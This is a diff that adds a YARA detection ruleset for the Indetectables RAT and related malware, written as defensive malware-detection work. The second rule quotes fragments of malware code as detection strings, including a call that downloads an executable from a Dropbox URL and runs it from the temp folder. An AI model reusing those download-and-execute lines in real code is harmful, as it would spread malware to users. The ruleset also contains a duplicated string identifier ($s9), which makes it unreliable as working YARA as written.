Create APT_indetectables_RAT.yar

malware/APT_indetectables_RAT.yar

+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as    long as you use it under this license.
+*/
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-10-01
+	Identifier: Indetectables RAT
+*/
+
+rule Indetectables_RAT {
+	meta:
+		description = "Detects Indetectables RAT based on strings found in research by Paul Rascagneres & Ronan Mouchoux"
+		author = "Florian Roth"
+		reference = "http://www.sekoia.fr/blog/when-a-brazilian-string-smells-bad/"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "081905074c19d5e32fd41a24b4c512d8fd9d2c3a8b7382009e3ab920728c7105"
+		hash2 = "66306c2a55a3c17b350afaba76db7e91bfc835c0e90a42aa4cf59e4179b80229"
+		hash3 = "1fa810018f6dd169e46a62a4f77ae076f93a853bfc33c7cf96266772535f6801"
+	strings:
+		$s1 = "Coded By M3" fullword wide
+		$s2 = "Stub Undetector M3" fullword wide
+		$s3 = "www.webmenegatti.com.br" wide
+		$s4 = "M3n3gatt1" fullword wide
+		$s5 = "TheMisterFUD" fullword wide
+		$s6 = "KillZoneKillZoneKill" fullword ascii
+		$s7 = "[[__M3_F_U_D_M3__]]$" fullword ascii
+		$s8 = "M3_F_U_D_M3" ascii
+		$s9 = "M3n3gatt1hack3r" fullword wide
+		$s9 = "M3n3gatt1hack3r" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 1 of them
+}
+
+rule BergSilva_Malware {
+	meta:
+		description = "Detects a malware from the same author as the Indetectables RAT"
+		author = "Florian Roth"
+		date = "2015-10-01"
+		super_rule = 1
+		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
+		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
+	strings:
+		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
+		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide
+
+		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
+		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
+		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
+		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
+		$s5 = "https://dl.dropbox.com/u/105015858" wide
+	condition:
+		uint16(0) == 0x5a4d and ( 1 of ($x*) or 2 of ($s*) )
+}